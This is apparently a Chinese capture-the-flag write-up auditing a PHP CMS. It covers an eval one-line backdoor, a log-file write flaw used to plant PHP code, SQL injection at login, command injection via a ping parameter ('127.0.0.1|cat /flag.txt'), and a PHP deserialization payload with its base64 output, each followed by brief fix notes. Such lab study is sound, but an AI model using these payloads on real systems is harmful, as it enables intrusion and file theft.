首先这里需要搭建一个cms的平台得到:

利用D盾进行漏洞扫描得到:

5级的eval后门漏洞
可以看到这里有一个5级的eval后门漏洞,我们查看文件得到源码:

这是一句话后门,我们利用一下这个后门得到:

这里能cat flag
修补增加过滤或者删除漏洞
2级的fwrite审计:
利用seay工具进行代码审计:
源码:

可以发现这是一个日志记录,但是它把记录的日志都写入到了
/var/www/html/log.php文件,这就造成文件写入漏洞
我们利用这个log1.php用get的方式写一个<?php phpinfo();?>
测试一下漏洞:

然后我们访问log.php文夹得到:

发现执行了phpinfo();
所以我们可以利用这个文件写入,去写入一句话木马
修复:
1、可以把log.php改成log.txt
2、增加危险字符过滤
2级漏洞eval(get_defined_vars()[’_GET’][‘cmd’]);
查看源码得到:
get_defined_vars()此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
所有会获取所有的get方法,所有直接cmd执行命令:

修复:
1、进行危险字符过滤
2、把后门删除
在利用seay进行代码审计:
首先我们分析一下首页,index.php
:

发现包含了很多文件,这里有个/common/function.php文件
我们去访问这个文件得到:

可以看到这里把c作为一个对象,a作为一个方法进行调研
在index.php中可以看到,如果不给c传值会赋值为User
所有c的对象为User.php文件
所有看向User.php文件

我可以看到User这个类功还是挺多的,我们看向Login方法

sql注入
发现这里没有任何的过滤,所有登陆界面存在sql注入:

登陆得到:

修复:
进行危险字符过滤
命令执行
我在User.php看到:

看到这里有一个命令执行
我们在index.php哪里进行get请求
a=User&c=ping

然后在进行host请求:

发现执行了命令
利用命令:
127.0.0.1|cat /flag.txt

修复漏洞;
进行危险字符过滤
反序列化
在seay中全局查询反序列化函数得到:
反序列化漏洞源码:

payload:
class home{
private $method;
private $args;
}
$a = new home("ping",array('127.0.0.1|cat /flag.txt'));
$b = serialize($a);
echo base64_encode($b);
得到:
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

得到flag。
漏洞修补:
过滤危险字符
本人比较菜漏洞审计就到这里,不妥的地方大佬勿喷
其它漏洞我也审计不出来直接上waf通防范。